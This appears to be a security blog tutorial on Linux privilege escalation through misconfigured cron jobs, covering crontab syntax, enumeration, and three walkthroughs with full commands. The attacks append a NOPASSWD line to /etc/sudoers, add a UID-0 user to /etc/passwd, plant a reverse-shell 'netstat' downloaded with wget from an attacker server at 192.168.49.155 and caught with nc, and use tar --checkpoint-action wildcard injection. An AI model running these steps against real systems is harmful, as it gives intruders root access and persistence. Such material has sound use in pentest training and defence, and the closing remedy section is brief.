Cron is a job scheduler in Unix-based operating systems. Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server.

They’re most commonly used for sysadmin jobs such as backups or cleaning /tmp/ directories and so on. The word Cron comes from crontab and it is present inside /etc directory.

By default, Cron runs as root when executing /etc/crontab, so any commands or scripts that are called by the crontab will also run as root.

For example: Inside crontab, we can add the following entry to print apache error logs automatically in every 1 hour.

• 1 0 * * * printf “” > /var/log/apache/error_log

This automated repeated task is known as cronjob and a table or file that maintain this cronjob is known as crontab. Linux maintains separate crontab for each and every user.

How Does Cron Work?

The behavior of the Cron utility can be fully customized. You can configure the behavior of Cron by editing files called “crontabs”. Unix keeps different copies of crontabs for each user. You can edit your own user’s crontab by running:

• crontab -e

You can also list the current cronjobs for your user by running:

• crontab -l

In Linux systems, the location for the system-wide crontab is /etc/crontab. Cron will run as the root user when executing scripts and commands in this file.

Files in /etc/cron.d are treated the same way as /etc/crontab. They are effectively “crontab snippets”. Their benefit is that they can be added or removed without modifying the central /etc/crontab file.

Each line starting with * or some number is considered as a cron job or task. It is the magic line that cron service will execute.

When to perform cronjob?

First five numeric value represents the time of execution of the cronjob. Now let’s understand the five numeric value.

• Minute – First value represents minute ranges between 0 to 59 and * means any minute.
• Hour – Second value represent Hour ranges between 0 to 24 and * means any hour.
• Day of month – Third value represents day of month ranges between 1 to 31 and * means any day.
• Month – Fourth value represents month ranges between 1 to 12 and * means any month.
• Day of week – Fifth value represents the day of week ranges between 0 to 6 starting from Sunday and * means any day of week.

By whom privileges does the task perform?

The value Just after the numeric value represents the user whose privileges will be used to accomplish the task.

Which command to be execute?

After defining the user we need to provide the command to be executed at that time.

I hope we found our answer and now we will learn to escalate privileges through cronjob. For better understanding i am dividing further blog into two parts Enumeration and Exploitation.

Crontab syntax

All crontabs follow the same syntax. Each line specifies a command to be run and the time at which it should run.

Example

this crontab entry tells the system to “cd” into the directory where I store security scripts and run the “scan.sh” shell script every day at 9:30 pm. (The wildcard character “*” means “all”.)

• 30 21 * * * cd /home/vry4n/scripts/security; ./scan.sh

And in system-wide crontabs, you can also specify the user to run the command as:

• * * * * <username> <command to be executed>

Running scripts in batches

It is customary to place scripts that the system-wide crontab uses in the

• /etc/cron.d
• /etc/cron.hourly
• /etc/cron.daily
• /etc/cron.weekly
• /etc/cron.monthly directories.

You can then batch run the scripts within the directories. For example, the following line in the crontab tells Cron to run all scripts in the /etc/cron.hourly directory as root every hour.

• 01 * * * * root run-parts /etc/cron.hourly

Cronjob Enumeration

The cronjob enumeration includes, finding and understanding the task that cronjob was assinged. There are following types of cronjob that we have to find.

User based Cronjob

In Linux each and every user can perform cronjobs. Each and every user maintains a crontab for their cronjobs. The location of the crontab of each user is in the following directory.

• /var/spool/cron/crontabs/’crontab_of_the_each_user_named_as_their_username’

Note: The above directory is only accessible through root user. Normal user can check their cronjobs using command.

• crontab -l

Application based Cronjob

Certain application in Linux uses cronjob to perform their task. All the cronjobs that are created by any application is placed in the following directory.

• /etc/cron.d

Anacron

Anacron is defined as the cron with ability to performed the task that are skipped due to some reasons.This type of cronjob are placed in the following directory.

• /etc/anacrontab

Pro tip : If you want to know about the cronjobs of the other user then you can use the tool pspy(pspy32 for 32 bit and pspy64 for 64bit). (https://github.com/DominicBreuker/pspy)

1. We can read the contents of /etc/crontab to see the actual scheduled tasks

Example 1 (this is what an empty file shows as)

• cat /etc/crontab

Example 2 (this is what a crontab with an existing entry looks like

• cat /etc/crontab

2. Using LinEnum or LinPEAS Script we can also gather info about cron jobs. This what what normal output should show

3. Make sure the service is running

• service cron status

Exploitation

1. Editing Script File

When a script executed by Cron is editable by unprivileged users, those unprivileged users can escalate their privilege by editing this script, and waiting for it to be executed by Cron under root privileges.

1. In this example we will use script.sh that will delete every file/directory within /tmp directory

• vi script.sh
• cat script.sh

2. Crontab has been set to run every minute as root

• cat /etc/crontab

3. Using pspy we can see this task running every minute

4. Looking at the script.sh file permissions we can see that we have READ/WRITE permissions

• cd /
• ls -l

5. I’ll modify the script, to add elevated privileges to my current user

• echo “vry4n ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers

6. Having the ability to run all commands (ALL=ALL) without password (NOPASSWD:ALL) allow us to run a new bash process as root, using sudo command

• sudo bash

Note. Make sure you append the correct line to the /etc/sudoers file. Otherwise the file could crash

Extra

they can gain root access by adding a new root user to the /etc/passwd file. In this command below, “0” is the UID of the root user, so adding a user with the UID of “0” will give that user root privileges. This user will have the username of “vk9sec” and an empty password:

• echo “vk9sec:x:0:0:root:/root:/bin/bash” >> /etc/passwd

2. Missing Absolute Paths

In this scenario, our script can’t be modified, but the crontab file indicates the command doesn’t contain absolute paths.

The Linux environmental path variable allows users to run commands or scripts without having to run their full path. For example, because the “whoami” binary is /usr/bin, which is part of the environmental path variable, users can simply run “whoami” rather than /usr/bin/whoami.

Although this was born as a convenient way to execute commands and scripts, it can become a vulnerability if said commands are run by privileged users.

If a cron job or a script used in a cron job calls a binary or a script without using its absolute path, an unprivileged user could create an arbitrary binary or script with the same exact name, and place it into a directory that is part of the environmental path.

• cat /etc/crontab

This indicates that the system will go through each path from left to right (PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin). Starting with /dev/shm

1. To elevate privileges we will check upon the permissions on each of these folders, I’ll start with /dev/shm

• ls -ld /dev/shm

2. I see, we have full privileges, first I’ll try to create a file in there

• cd /dev/shm
• echo “Vry4n was here!.” > test.txt
• ls

3. Having the capability to create files allow us the ability to write our own script and name it as the program the crontab is running netstat. For this demo I will create a bash reverse shell.

• vi netstat
• cat netstat

4. I will set up a web server to transfer this file into the machine (you could write it manually in the server)

• python3.8 -m http.server 8080

5. In the server use wget command to download this into the desired location with Write permissions, in this case /dev/shm

• cd /dev/shm
• ls -l
• wget http://192.168.49.155:8080/netstat
• ls -l

6. Start a listener, as per the script I chose to connect to port 4242

• nc -lvp 4242

7. Now make this file executable in the remote server

• chmod 777 netstat

8. Wait for the task to execute. After execution, the listener should have a new connection from root

• whoami

3. Exploiting Wildcards in Commands

Commands can use wildcards as arguments to perform actions on more than one file at a time, also called globbing. When the command is assigned to a cronjob, contains a wildcard operator then attacker can go for wildcard injection to escalate privilege.

Tar has an argument called –checkpoint, which allows to display a “progress” message every time X number of files have been archived. This can be used in concatenation with the –checkpoint-action flag, which allows to execute an action, in form of a binary or script, whenever a checkpoint is reached.

Since the wildcard will execute a given command against all files and folders in the current directory, this can be exploited by adding a –checkpoint=1 file (to enable the checkpoint function) and a –checkpoint-action=exec=/tmp/stef.sh file (to specify the action to perform) which will be effectively treated as arguments when tar comes across them.

1. For this example I will create a schedule task that runs every minute. The task is used to take all logs in /var/log/test_logs directory and compress them into gzip and tar in a file named logbackup,tgz. The resulting file will be saved in /tmp

• cat /etc/crontab

2. After a minute checking within /tmp, I found the logbackup.tgz file

• ls -l /tmp

3. Now lets get back to /var/log/test_logs directory and we will create some files to confuse the program, these files start their name with “–” which confuses programs with additional command parameters

• echo ‘echo ” vry4n ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > test.sh
• echo “” > “–checkpoint-action=exec=sh test.sh”
• echo “” > –checkpoint=1
• ls
• tar cf archive.tar * # This one is only used to test

4. Once, the automated task is executed, then, check on the result

• sudo cat /etc/sudoers

5. Having entered the line in /etc/sudoers, we can now test our new privileges

• sudo su –
• whoami

Remedy

If your system uses Cron to automate tasks, make sure that none of the scripts that you run through crontab are editable by unprivileged users, and make sure that your Cron scripts are secure!

NEVER EXECUTE COMMANDS WITH sudo or root user and avoid using SUID binaries in the job.

Resources

https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/

https://medium.com/swlh/privilege-escalation-via-cron-812a9da9cf1a

https://www.armourinfosec.com/linux-privilege-escalation-by-exploiting-cronjobs/

https://steflan-security.com/linux-privilege-escalation-scheduled-tasks/